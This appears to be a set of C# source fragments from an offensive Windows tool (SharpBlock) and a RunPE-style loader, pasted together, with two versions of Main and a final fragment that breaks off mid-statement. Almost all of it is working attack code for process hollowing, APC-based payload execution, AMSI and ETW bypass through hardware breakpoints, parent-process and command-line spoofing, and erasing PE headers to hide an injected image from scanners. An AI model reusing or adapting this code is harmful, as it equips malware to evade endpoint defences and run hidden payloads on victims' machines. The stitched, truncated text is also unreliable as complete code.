static HostProcessInfo ReplaceExecutable(IntPtr hProcess, IntPtr hThread, string path) { //Map our executable into memory from the choosen source (file, web, pipe) HostProcessInfo hpi = new HostProcessInfo(); IntPtr remoteImage; IntPtr entryPoint = MapExecutableMemory(LoadProcessData(path), hProcess, out remoteImage); //Get the thread context of our newly launched host process Context64 ctx = new Context64(ContextFlags.All); ctx.GetContext(hThread); long peb = ctx.GetRegister(3); //Fill in some key information we need for later hpi.previousEntryPoint = new IntPtr(ctx.GetRegister(2)); hpi.newEntryPoint = entryPoint; hpi.newLoadAddress = remoteImage; hpi.peb = new IntPtr(peb); hpi.previousLoadAddress = ReadPointer(hProcess, new IntPtr(peb + 0x10)); Console.WriteLine($"[+] PEB Address: 0x{peb:x16}"); Console.WriteLine($"[+] Existing entry point: 0x{hpi.previousEntryPoint.ToInt64():x16}"); Console.WriteLine($"[+] New entry point: 0x{entryPoint.ToInt64():x16}"); Console.WriteLine($"[+] Existing base: 0x{hpi.previousLoadAddress.ToInt64():x16}"); Console.WriteLine($"[+] New base: 0x{remoteImage.ToInt64():x16}"); //Set RCX to the updated entry point of our new in memory PE ctx.SetRegister(2, entryPoint.ToInt64()); ctx.SetContext(hThread); //Write our new base address within PEB WritePointer(hProcess, new IntPtr(peb + 0x10), remoteImage); return(hpi); }
private static bool AllocateImageSpace(HostProcessInfo HPI, ref IntPtr newImageBase, uint dwImageBase, uint dwSizeOfImage) { // attempt to allocate space at the target imagebase (5 times, in case of any NtAllocateVirtualMemory Fails?? , or is this only with VirtualAllocEX...? int NT_STAT = -1; int dwAttempts = 0; IntPtr lpAllocBaseAddress = (IntPtr)dwImageBase; uint dwRegionSize = dwSizeOfImage; while (dwAttempts < 5) { NT_STAT = NtAllocateVirtualMemory(HPI.PI.hProcess, ref lpAllocBaseAddress, 0, ref dwRegionSize, 0x3000, 0x40); if (NT_STAT == 0 /* yes, i know NT_SUCCESS is not this: but it _should_ not return anything else but 0x00)*/) { break; } dwAttempts++; } // if we failed to allocate at imagebase, try to allocate it at some random point in process memory... if (NT_STAT != 0) { dwAttempts = 0; lpAllocBaseAddress = (IntPtr)dwImageBase; dwRegionSize = dwSizeOfImage; while (dwAttempts < 5) { NT_STAT = NtAllocateVirtualMemory(HPI.PI.hProcess, ref lpAllocBaseAddress, 0, ref dwRegionSize, 0x3000, 0x40); if (NT_STAT == 0) { break; } dwAttempts++; } if (NT_STAT != 0) { return(false); } } newImageBase = lpAllocBaseAddress; return(true); }
static void HideHollowedProcess(IntPtr hProcess, HostProcessInfo hpi) { if (IntPtr.Size == 4) { Console.WriteLine("[=] Hide allow process not available on x86 yet, use --disable-header-patch to supress this warning"); return; } //Pull out the current image headers IMAGE_DOS_HEADER dosHeader = ReadType <IMAGE_DOS_HEADER>(hProcess, hpi.newLoadAddress); IMAGE_FILE_HEADER fileHeader = ReadType <IMAGE_FILE_HEADER>(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + dosHeader.e_lfanew)); IMAGE_OPTIONAL_HEADER64 optionalHeader = ReadType <IMAGE_OPTIONAL_HEADER64>(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)))); //Clear some key areas used to spot PE files in memory ClearMemory(hProcess, hpi.newLoadAddress, 3); ClearMemory(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + 0x40), (int)dosHeader.e_lfanew - 0x40); ClearMemory(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + (int)dosHeader.e_lfanew), Marshal.SizeOf(typeof(IMAGE_FILE_HEADER))); //Clear out section names and characteristics used to identify implanted PE files for (int section = 0; section < fileHeader.NumberOfSections; section++) { IntPtr sectionOffset = new IntPtr(hpi.newLoadAddress.ToInt64() + (int)dosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader + (Marshal.SizeOf(typeof(Execute.PE.IMAGE_SECTION_HEADER)) * section)); Execute.PE.IMAGE_SECTION_HEADER ish = ReadType <Execute.PE.IMAGE_SECTION_HEADER>(hProcess, sectionOffset); ish.Name = new char[8]; ish.Characteristics = 0; WriteType <Execute.PE.IMAGE_SECTION_HEADER>(hProcess, sectionOffset, ish); } //Replace base address in PEB with the original WritePointer(hProcess, new IntPtr(hpi.peb.ToInt64() + 0x10), hpi.previousLoadAddress); //Finally replace main module load address and entrypoint with original host process IntPtr pebLdrDataPtr = ReadPointer(hProcess, new IntPtr(hpi.peb.ToInt64() + 0x18)); PEB_LDR_DATA pebLdrData = ReadType <PEB_LDR_DATA>(hProcess, pebLdrDataPtr); LDR_DATA_TABLE_ENTRY mainModule = ReadType <LDR_DATA_TABLE_ENTRY>(hProcess, pebLdrData.InLoadOrderModuleListPtr.Flink); mainModule.DllBase = hpi.previousLoadAddress; mainModule.EntryPoint = hpi.previousEntryPoint; WriteType(hProcess, pebLdrData.InLoadOrderModuleListPtr.Flink, mainModule); }
static void Main(string[] args) { string program = "c:\\windows\\system32\\cmd.exe"; string hostProcess = null; string programArgs = ""; bool showHelp = false; bool bypass = false; HostProcessInfo hpi = new HostProcessInfo(); Console.WriteLine( "SharpBlock by @_EthicalChaos_\n" + $" DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n" ); OptionSet option_set = new OptionSet() .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program = v) .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v) .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v)) .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v)) .Add("p=|product=", "Product string to block", v => blockProduct.Add(v)) .Add("d=|description=", "Description string to block", v => blockDescription.Add(v)) .Add("b=|bypass="******"Bypasses AMSI within the executed process (true|false)", v => bypass = v != null) .Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess = v) .Add("h|help", "Display this help", v => showHelp = v != null); try { option_set.Parse(args); if (showHelp) { option_set.WriteOptionDescriptions(Console.Out); return; } } catch (Exception e) { Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); option_set.WriteOptionDescriptions(Console.Out); return; } try { IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll"); amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize"); Console.WriteLine($"[+] in-proc AMSI 0x{amsiBase.ToInt64():x16}"); IntPtr stdOut; IntPtr stdErr; IntPtr stdIn; IntPtr currentProcess = new IntPtr(-1); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_OUTPUT_HANDLE), currentProcess, out stdOut, 0, true, 2); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_ERROR_HANDLE), currentProcess, out stdErr, 0, true, 2); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_INPUT_HANDLE), currentProcess, out stdIn, 0, true, 2); STARTUPINFO startupInfo = new STARTUPINFO(); startupInfo.cb = (uint)Marshal.SizeOf(startupInfo); startupInfo.dwFlags = 0x00000101; startupInfo.hStdOutput = stdOut; startupInfo.hStdError = stdErr; startupInfo.hStdInput = stdIn; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); if (!CreateProcess(hostProcess != null ? hostProcess : program, $"\"{hostProcess}\" {programArgs}", IntPtr.Zero, IntPtr.Zero, true, WinAPI.DEBUG_PROCESS, IntPtr.Zero, null, ref startupInfo, out pi)) { Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}"); return; } Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}"); bool bContinueDebugging = true; Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>(); Dictionary <uint, IntPtr> threadHandles = new Dictionary <uint, IntPtr>(); while (bContinueDebugging) { IntPtr debugEventPtr = Marshal.AllocHGlobal(1024); bool bb = WinAPI.WaitForDebugEvent(debugEventPtr, 1000); UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE; if (bb) { WinAPI.DEBUG_EVENT DebugEvent = (WinAPI.DEBUG_EVENT)Marshal.PtrToStructure(debugEventPtr, typeof(WinAPI.DEBUG_EVENT)); IntPtr debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u); switch (DebugEvent.dwDebugEventCode) { /* Uncomment if you want to set OutputDebugString output * case WinAPI.OUTPUT_DEBUG_STRING_EVENT: * WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO)); * IntPtr bytesRead; * byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength]; * WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead); * Console.WriteLine(Encoding.ASCII.GetString(strData)); * break; */ case WinAPI.CREATE_PROCESS_DEBUG_EVENT: WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO)); processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess; threadHandles[DebugEvent.dwThreadId] = CreateProcessDebugInfo.hThread; if (bypass) { SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr); } break; case WinAPI.CREATE_THREAD_DEBUG_EVENT: WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO)); threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread; if (bypass) { SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr); } break; case WinAPI.EXIT_PROCESS_DEBUG_EVENT: if (pi.dwProcessId == DebugEvent.dwProcessId) { bContinueDebugging = false; } break; case WinAPI.LOAD_DLL_DEBUG_EVENT: WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO)); string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]); if (DebugEvent.dwProcessId == pi.dwProcessId && hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase)) { Console.WriteLine($"[+] Replacing host process with {program}"); hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program); //Once we have hollowed out our process we put a breakpoint on //our in-memory PE entry point. //Once the entry point is hit it means that we can then attempt to //hide our PE from prying eyes. SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint); } break; case WinAPI.EXCEPTION_DEBUG_EVENT: WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO)); if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP) { //Check to see if the single step breakpoint is at AmsiInitalize if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr) { //It is, to update the thread context to return to caller with //an invalid result DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]); //Opsec purposes, lets now clear all threads of hardware breakpoints ClearHardwareBreakpoints(threadHandles.Values.ToArray()); //check to see if we have hit our in-memory PE entry-point } else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint) { HideHollowedProcess(pi.hProcess, hpi); Context64 ctx = new Context64(ContextFlags.Debug); ctx.ClearBreakpoint(); ctx.SetContext(threadHandles[DebugEvent.dwThreadId]); } } else { dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED; } break; } WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId, (uint)DebugEvent.dwThreadId, dwContinueDebugEvent); } if (debugEventPtr != null) { Marshal.FreeHGlobal(debugEventPtr); } } int exitCode; WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode); Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}"); }catch (Exception e) { Console.WriteLine($"[!] SharpBlock failed with error {e.Message}"); } }
public static bool Run2(byte[] lpExe, string pszApplicationPath, string pszCmdLine = default(string)) { bool bResult = false; pszApplicationPath = string.Format("\"{0}\"", pszApplicationPath); if (!string.IsNullOrEmpty(pszCmdLine)) { pszApplicationPath = string.Join(" ", new string[] { pszApplicationPath, pszCmdLine }); } byte *lpExeBase; fixed(byte *lpData = &lpExe[0]) lpExeBase = lpData; // init local structs IMAGE_DOS_HEADER pIDH = (IMAGE_DOS_HEADER)Marshal.PtrToStructure((IntPtr)lpExeBase, typeof(IMAGE_DOS_HEADER)); IMAGE_NT_HEADERS pINH = (IMAGE_NT_HEADERS)Marshal.PtrToStructure((IntPtr)(lpExeBase + pIDH.e_lfanew), typeof(IMAGE_NT_HEADERS)); if (pIDH.e_magic != 0x5A4D || pINH.Signature != 0x4550) { return(false); } // init host process HostProcessInfo HPI = new HostProcessInfo(); bResult = InitHostProcess(pszApplicationPath, ref HPI); IntPtr v = IntPtr.Zero; /* if (pINH.OptionalHeader.ImageBase == HPI.ImageBase && * pINH.OptionalHeader.SizeOfImage <= HPI.ImageSize && false) * { * // use existing memory for our payload exe * v = (IntPtr)HPI.ImageBase; * uint dwOldProtect = 0; * * bResult = VirtualProtectEx( * HPI.PI.hProcess, * (IntPtr)HPI.ImageBase, * HPI.ImageSize, * 0x40, * ref dwOldProtect); * * if (!bResult) * return false; * } * else * {*/ // try to unmap the host process image //try freeing with virtualfree VirtualFreeEx(HPI.PI.hProcess, (IntPtr)HPI.ImageBase, HPI.ImageSize, 0x8000); //NtUnmapViewOfSection(HPI.PI.hProcess, HPI.ImageBase); //int NtStatus = NtUnmapViewOfSection(HPI.PI.hProcess, HPI.ImageBase); bResult = true; //NtStatus == 0 ? true : false; if (!bResult) { return(false); } // allocate memory for the payload in payload's original imagebase //v = VirtualAllocEx( // HPI.PI.hProcess, // (IntPtr)pINH.OptionalHeader.ImageBase, // pINH.OptionalHeader.SizeOfImage, // 0x3000, // 0x40); //int dwAttempts = 0; //while (dwAttempts < 5) //{ // IntPtr lpAllocBaseAddress = (IntPtr)pINH.OptionalHeader.ImageBase; // uint dwAllocRegionSize = pINH.OptionalHeader.SizeOfImage; // int ret = NtAllocateVirtualMemory(HPI.PI.hProcess, ref lpAllocBaseAddress, 0, ref dwAllocRegionSize, 0x3000, 0x40); // v = lpAllocBaseAddress; //} //IntPtr lpAllocBaseAddress = (IntPtr)pINH.OptionalHeader.ImageBase; //uint dwAllocRegionSize = pINH.OptionalHeader.SizeOfImage; //int ret = NtAllocateVirtualMemory(HPI.PI.hProcess, ref lpAllocBaseAddress, 0, ref dwAllocRegionSize, 0x3000, 0x40); //v = lpAllocBaseAddress; IntPtr newV = IntPtr.Zero; bResult = AllocateImageSpace(HPI, ref newV, pINH.OptionalHeader.ImageBase, pINH.OptionalHeader.SizeOfImage); // Debugger.Break(); v = newV; //don't need ternarys when using comparison operators, js //if (v != (IntPtr)pINH.OptionalHeader.ImageBase) // Debugger.Break(); // so v == 0? lol i thought i caught that //I am overriding your if statement above it rn // won't calc.exe only execute the first statement (the if statement above)? //yeah prob, but you should always free it anyways if (!bResult) { return(false); } // } if ((uint)v == 0) { // could try relocating peb if it has relocation table ? // allocate at random place? } // patch peb->ImageBaseAddress byte[] _writeImageBase = BitConverter.GetBytes((uint)v); uint dwNumberOfBytesWritten = 0; bResult = WriteProcessMemory( HPI.PI.hProcess, (IntPtr)(HPI.CTX.Ebx + 8), _writeImageBase, sizeof(uint), ref dwNumberOfBytesWritten); bResult = bResult && dwNumberOfBytesWritten == sizeof(uint) ? true : false; if (!bResult) { return(false); } // patch Nt->ImageBase in payload exe QWORD <-> DWORD pINH.OptionalHeader.ImageBase = (uint)v; // copy the payload headers bResult = WriteProcessMemory( HPI.PI.hProcess, v, lpExe, pINH.OptionalHeader.SizeOfHeaders, ref dwNumberOfBytesWritten); bResult = bResult && dwNumberOfBytesWritten == pINH.OptionalHeader.SizeOfHeaders ? true : false; if (!bResult) { return(false); } // copy the payload sections for (int i = 0; i < pINH.FileHeader.NumberOfSections; i++) { uint VirtualAddress = 0; uint SizeOfRawData = 0; uint PointerToRawData = 0; fixed(byte *lpModuleBase = &lpExe[0]) { uint e_lfanew = *(uint *)(lpModuleBase + 0x3c); byte *ishBase = lpModuleBase + e_lfanew + 0xF8 + (i * 0x28); VirtualAddress = *(uint *)(ishBase + 0xc); SizeOfRawData = *(uint *)(ishBase + 0x10); PointerToRawData = *(uint *)(ishBase + 0x14); } byte[] lpBuffer = new byte[SizeOfRawData]; Buffer.BlockCopy(lpExe, (int)PointerToRawData, lpBuffer, 0, (int)SizeOfRawData); if (SizeOfRawData == 0) /* virtual section */ { continue; } bResult = WriteProcessMemory( HPI.PI.hProcess, (IntPtr)((uint)v + VirtualAddress), lpBuffer, SizeOfRawData, ref dwNumberOfBytesWritten); bResult = (bResult && dwNumberOfBytesWritten == SizeOfRawData); if (!bResult) { return(false); } } if ((uint)v == HPI.ImageBase) { HPI.CTX.Eax = pINH.OptionalHeader.ImageBase + pINH.OptionalHeader.AddressOfEntryPoint; } else { HPI.CTX.Eax = (uint)v + pINH.OptionalHeader.AddressOfEntryPoint; } //bResult = SetThreadContext(HPI.PI.hThread, ref HPI.CTX); //if (!bResult) // return false; // QueueUserAPC((IntPtr)HPI.CTX.Eax, HPI.PI.hThread, IntPtr.Zero); NtQueueApcThread(HPI.PI.hThread, (IntPtr)HPI.CTX.Eax, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); ulong suspend = 0; NtAlertResumeThread(HPI.PI.hThread, ref suspend); // ResumeThread(HPI.PI.hThread); return(bResult); }
private static bool InitHostProcess(string pszFormattedPath, ref HostProcessInfo HPI) { bool bResult; STARTUPINFO lpStartupInfo = new STARTUPINFO(); PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION(); // create child process bResult = CreateProcessW( null, pszFormattedPath, IntPtr.Zero, IntPtr.Zero, false, 0x04, IntPtr.Zero, IntPtr.Zero, ref lpStartupInfo, out lpProcessInformation); if (!bResult) { return(false); } HPI.SI = lpStartupInfo; HPI.PI = lpProcessInformation; // get peb->ImageBaseAddress of host process CONTEXT CTX = new CONTEXT(); CTX.ContextFlags = (uint)CONTEXT_FLAGS.CONTEXT_ALL; // YOU Dont actually need getthreadcontext ->??? you just need peb->Imagebaseaddress bResult = GetThreadContext(HPI.PI.hThread, ref CTX); if (!bResult) { return(false); } HPI.CTX = CTX; // patch the peb fields in _RTL_USER_PROCESS_PARAMETERS +0x010 // +0x038 ImagePathName : _UNICODE_STRING // +0x040 CommandLine : _UNICODE_STRING? do u need to patch this or is created with CreateProcessW? IntPtr pPEB = (IntPtr)CTX.Ebx; //string _unformattedQuotedPath = pszFormattedPath.Trim('"'); //{ // /* init unicode string in foreign process */ // uint __out = 0; // int len = _unformattedQuotedPath.Length * 2; // int maxlen = len + 2; // IntPtr lpForeignImagePathName = VirtualAllocEx(HPI.PI.hProcess, IntPtr.Zero, (uint)maxlen, 0x3000, 0x40); // byte[] pBb = new UnicodeEncoding().GetBytes(_unformattedQuotedPath); // WriteProcessMemory(HPI.PI.hProcess, lpForeignImagePathName, pBb, (uint)pBb.Length, ref __out); // /* update the field */ // IntPtr _rtl_user_proc_params = ReadProcessMemory(HPI(IntPtr)((uint)pPEB + 0x010); // IntPtr _image_Path_name = (IntPtr)((uint)_rtl_user_proc_params + 0x038); //} // read peb byte[] _readBuffer = new byte[sizeof(uint)]; IntPtr _outBuffer = IntPtr.Zero; // ctx.ebx = peb* // ctx.ebx + 8 = ImageBaseAddress bResult = ReadProcessMemory( HPI.PI.hProcess, (IntPtr)(HPI.CTX.Ebx + 8), _readBuffer, sizeof(uint), out _outBuffer); if (!bResult) { return(false); } HPI.ImageBase = BitConverter.ToUInt32(_readBuffer, 0); // find how much mapped memory we have to work with IntPtr lpCurrentAddress = (IntPtr)HPI.ImageBase; MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION(); // iterate through mapped memory space while (VirtualQueryEx( HPI.PI.hProcess, lpCurrentAddress, out mbi, (uint)sizeof(MEMORY_BASIC_INFORMATION)) != 0) { if (mbi.State == StateEnum.MEM_FREE) { break; } lpCurrentAddress = (IntPtr)((uint)(lpCurrentAddress) + mbi.RegionSize); } // size of mapped memory ?? == Nt->SizeOfImage HPI.ImageSize = (uint)lpCurrentAddress - HPI.ImageBase; return(bResult); }
static void Main(string[] args) { string program = "c:\\windows\\system32\\cmd.exe"; string hostProcess = null; string programArgs = ""; bool showHelp = false; bool bypassAmsi = true; bool bypassCommandLine = true; bool bypassETW = true; bool bypassHollowDetect = true; bool patchedArgs = false; bool kernelBaseLoaded = false; bool showWindow = false; int ppid = -1; HostProcessInfo hpi = new HostProcessInfo(); Console.WriteLine( "SharpBlock by @_EthicalChaos_\n" + $" DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n" ); OptionSet option_set = new OptionSet() .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program = v) .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v) .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v)) .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v)) .Add("p=|product=", "Product string to block", v => blockProduct.Add(v)) .Add("d=|description=", "Description string to block", v => blockDescription.Add(v)) .Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess = v) .Add("ppid=", "PID of the process to use for parent process spoofing", v => ppid = int.Parse(v)) .Add("w|show", "Show the lauched process window instead of the default hide", v => showWindow = true) .Add("disable-bypass-amsi", "Disable AMSI bypassAmsi", v => bypassAmsi = false) .Add("disable-bypass-cmdline", "Disable command line bypass", v => bypassCommandLine = false) .Add("disable-bypass-etw", "Disable ETW bypass", v => bypassETW = false) .Add("disable-header-patch", "Disable process hollow detection bypass", v => bypassHollowDetect = false) .Add("h|help", "Display this help", v => showHelp = v != null); try { option_set.Parse(args); if (showHelp) { option_set.WriteOptionDescriptions(Console.Out); return; } } catch (Exception e) { Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); option_set.WriteOptionDescriptions(Console.Out); return; } try { IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll"); amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize"); IntPtr ntdllBase = WinAPI.LoadLibrary("ntdll.dll"); IntPtr etwEventWritePtr = WinAPI.GetProcAddress(ntdllBase, "EtwEventWrite"); Console.WriteLine($"[+] in-proc amsi 0x{amsiBase.ToInt64():x16}"); Console.WriteLine($"[+] in-proc ntdll 0x{ntdllBase.ToInt64():x16}"); IntPtr stdOut; IntPtr stdErr; IntPtr stdIn; IntPtr currentProcess = new IntPtr(-1); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_OUTPUT_HANDLE), currentProcess, out stdOut, 0, true, 2); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_ERROR_HANDLE), currentProcess, out stdErr, 0, true, 2); WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_INPUT_HANDLE), currentProcess, out stdIn, 0, true, 2); STARTUPINFOEX startupInfo = new STARTUPINFOEX(); startupInfo.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfo); uint launchFlags = WinAPI.DEBUG_PROCESS; if (!showWindow) { startupInfo.StartupInfo.dwFlags = 0x00000101; startupInfo.StartupInfo.hStdOutput = stdOut; startupInfo.StartupInfo.hStdError = stdErr; startupInfo.StartupInfo.hStdInput = stdIn; launchFlags |= 0x08000000; } if (ppid > 0) { launchFlags |= 0x80000; startupInfo.lpAttributeList = InitializeProcThreadAttributeList(1); SetNewProcessParent(ref startupInfo, ppid); } PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); string realProgramArgs = $"\"{hostProcess}\" {programArgs}"; string launchedArgs = bypassCommandLine ? $"\"{hostProcess}\"" : realProgramArgs; if (!CreateProcess(hostProcess != null ? hostProcess : program, launchedArgs, IntPtr.Zero, IntPtr.Zero, true, launchFlags, IntPtr.Zero, null, ref startupInfo, out pi)) { Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}"); return; } Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}"); bool bContinueDebugging = true; Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>(); Dictionary <uint, IntPtr> threadHandles = new Dictionary <uint, IntPtr>(); while (bContinueDebugging) { IntPtr debugEventPtr = Marshal.AllocHGlobal(1024); bool bb = WinAPI.WaitForDebugEvent(debugEventPtr, 1000); UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE; if (bb) { WinAPI.DEBUG_EVENT DebugEvent = GetDebugEvent(debugEventPtr); IntPtr debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u); switch (DebugEvent.dwDebugEventCode) { /* Uncomment if you want to see OutputDebugString output * case WinAPI.OUTPUT_DEBUG_STRING_EVENT: * WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO)); * IntPtr bytesRead; * byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength]; * WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead); * Console.WriteLine(Encoding.ASCII.GetString(strData)); * break; */ case WinAPI.CREATE_PROCESS_DEBUG_EVENT: WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO)); processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess; threadHandles[DebugEvent.dwThreadId] = CreateProcessDebugInfo.hThread; if (bypassAmsi) { SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr, 0); } break; case WinAPI.CREATE_THREAD_DEBUG_EVENT: WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO)); threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread; if (pi.dwProcessId == DebugEvent.dwProcessId) { if (bypassAmsi) { SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr, 0); } if (bypassETW) { SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2); } } break; case WinAPI.EXIT_PROCESS_DEBUG_EVENT: if (pi.dwProcessId == DebugEvent.dwProcessId) { bContinueDebugging = false; } break; case WinAPI.LOAD_DLL_DEBUG_EVENT: WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO)); string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]); //Console.WriteLine($"[=] DLL Load: {dllPath}"); if (DebugEvent.dwProcessId == pi.dwProcessId) { // Once kernelbase.dll has loaded then update GetCommandLineW/A args if (bypassCommandLine && kernelBaseLoaded && !patchedArgs) { UpdateCommandLine(pi.hProcess, realProgramArgs); patchedArgs = true; } if (hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase)) { Console.WriteLine($"[+] Replacing host process with {program}"); hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program); //Set a breakpoint on EtwEventWrite ready for us to bypass SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2); //Once we have hollowed out our process we put a breakpoint on //our in-memory PE entry point. //Once the entry point is hit it means that we can then attempt to //hide our PE from prying eyes. SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint, 1); } else if (dllPath.EndsWith("kernelbase.dll", StringComparison.OrdinalIgnoreCase)) { kernelBaseLoaded = true; } } break; case WinAPI.EXCEPTION_DEBUG_EVENT: WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO)); if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP) { //Check to see if the single step breakpoint is at AmsiInitalize if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == 